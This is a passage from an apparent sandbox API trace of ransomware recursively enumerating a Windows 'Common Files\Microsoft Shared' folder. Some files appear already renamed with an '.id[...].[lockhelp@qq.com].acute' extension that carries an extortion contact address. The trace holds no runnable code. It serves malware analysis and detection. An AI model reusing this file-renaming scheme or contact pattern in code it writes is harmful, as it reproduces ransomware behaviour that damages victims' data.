ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 1 [0272.459] GetLastError () returned 0x12 [0272.459] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 0 [0272.459] FindClose (in: hFindFile=0x806cd8 | out: hFindFile=0x806cd8) returned 1 [0272.459] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35ac910 | out: hHeap=0x1c0000) returned 1 [0272.459] FindNextFileW (in: hFindFile=0x806c58, lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8b2beb50, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8b2beb50, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1 [0272.459] GetLastError () returned 0x12 [0272.459] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*", lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8b2beb50, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8b2beb50, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806cd8 [0272.462] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x8b2beb50, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8b2beb50, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.462] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x1a9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.CFG", cAlternateFileName="")) returned 1 [0272.462] GetLastError () returned 0x12 [0272.462] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda4ec00, ftCreationTime.dwHighDateTime=0x1cba021, ftLastAccessTime.dwLowDateTime=0xc22488c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfda4ec00, ftLastWriteTime.dwHighDateTime=0x1cba021, nFileSizeHigh=0x0, nFileSizeLow=0x4f160, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FLT", cAlternateFileName="")) returned 1 [0272.462] GetLastError () returned 0x12 [0272.462] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x93f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FNT", cAlternateFileName="")) returned 1 [0272.462] GetLastError () returned 0x12 [0272.462] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0xadf90, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPSIMP32.FLT", cAlternateFileName="")) returned 1 [0272.462] GetLastError () returned 0x12 [0272.462] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x4e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="GIFIMP32.FLT", cAlternateFileName="")) returned 1 [0272.462] GetLastError () returned 0x12 [0272.463] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x3ad80, dwReserved0=0x0, dwReserved1=0x0, cFileName="JPEGIM32.FLT", cAlternateFileName="")) returned 1 [0272.463] GetLastError () returned 0x12 [0272.463] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x774, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.CGM", cAlternateFileName="")) returned 1 [0272.463] GetLastError () returned 0x12 [0272.463] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b24c730, ftCreationTime.dwHighDateTime=0x1d52d18, ftLastAccessTime.dwLowDateTime=0x8b24c730, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8b272890, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x3bc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EPS.id[9C354B42-1096].[lockhelp@qq.com].acute", cAlternateFileName="MSEPSI~1.ACU")) returned 1 [0272.463] GetLastError () returned 0x12 [0272.463] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b272890, ftCreationTime.dwHighDateTime=0x1d52d18, ftLastAccessTime.dwLowDateTime=0x8b272890, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8b2989f0, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x512, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute", cAlternateFileName="MSGIFI~1.ACU")) returned 1 [0272.463] GetLastError () returned 0x12 [0272.463] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2989f0, ftCreationTime.dwHighDateTime=0x1d52d18, ftLastAccessTime.dwLowDateTime=0x8b2989f0, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8b2beb50, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x512, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.JPG.id[9C354B42-1096].[lockhelp@qq.com].acute", cAlternateFileName="MSJPGI~1.ACU")) returned 1 [0272.463] GetLastError () returned 0x12 [0272.463] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2beb50, ftCreationTime.dwHighDateTime=0x1d52d18, ftLastAccessTime.dwLowDateTime=0x8b2beb50, ftLastAccessTime.dwHighDateTime=0x1d52d18, ftLastWriteTime.dwLowDateTime=0x8b2beb50, ftLastWriteTime.dwHighDateTime=0x1d52d18, nFileSizeHigh=0x0, nFileSizeLow=0x782, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute", cAlternateFileName="MSPNGI~1.ACU")) returned 1 [0272.463] GetLastError () returned 0x12 [0272.463] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WPG", cAlternateFileName="")) returned 1 [0272.463] GetLastError () returned 0x12 [0272.463] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x11d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="PICTIM32.FLT", cAlternateFileName="")) returned 1 [0272.463] GetLastError () returned 0x12 [0272.463] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x49f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="PNG32.FLT", cAlternateFileName="")) returned 1 [0272.464] GetLastError () returned 0x12 [0272.464] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 1 [0272.464] GetLastError () returned 0x12 [0272.464] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 0 [0272.464] FindClose (in: hFindFile=0x806cd8 | out: hFindFile=0x806cd8) returned 1 [0272.465] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35ac910 | out: hHeap=0x1c0000) returned 1 [0272.465] FindNextFileW (in: hFindFile=0x806c58, lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0272.465] GetLastError () returned 0x12 [0272.465] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*", lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806cd8 [0272.465] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.466] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x133200, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxds.dll", cAlternateFileName="")) returned 1 [0272.466] GetLastError () returned 0x12 [0272.466] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3e47200, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3e47200, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x1bf200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITIRCL55.DLL", cAlternateFileName="")) returned 1 [0272.466] GetLastError () returned 0x12 [0272.466] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 1 [0272.466] GetLastError () returned 0x12 [0272.466] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 0 [0272.466] FindClose (in: hFindFile=0x806cd8 | out: hFindFile=0x806cd8) returned 1 [0272.466] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35ac910 | out: hHeap=0x1c0000) returned 1 [0272.466] FindNextFileW (in: hFindFile=0x806c58, lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1 [0272.466] GetLastError () returned 0x12 [0272.466] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*", lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806cd8 [0272.467] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.467] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2bbccc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c2bbccc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc1486, dwReserved0=0x0, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0272.467] GetLastError () returned 0x12 [0272.467] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-SA", cAlternateFileName="")) returned 1 [0272.467] GetLastError () returned 0x12 [0272.467] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0272.468] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.468] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0272.468] GetLastError () returned 0x12 [0272.468] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0272.468] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0272.468] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35bc918 | out: hHeap=0x1c0000) returned 1 [0272.468] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0272.468] GetLastError () returned 0x12 [0272.469] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d18 [0272.469] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.469] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0272.469] GetLastError () returned 0x12 [0272.469] FindNextFileW (in: hFindFile=0x806d18, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0272.469] FindClose (in: hFindFile=0x806d18 | out: hFindFile=0x806d18) returned 1 [0272.469] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x35bc918 | out: hHeap=0x1c0000) returned 1 [0272.469] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90daefa5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x90daefa5, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0272.469] GetLastError () returned 0x12 [0272.469] FindNextFileW (in: hFindFile=0x806cd8, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92176b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c92176b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdd6ec0f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f200, dwReserved0=0x0, 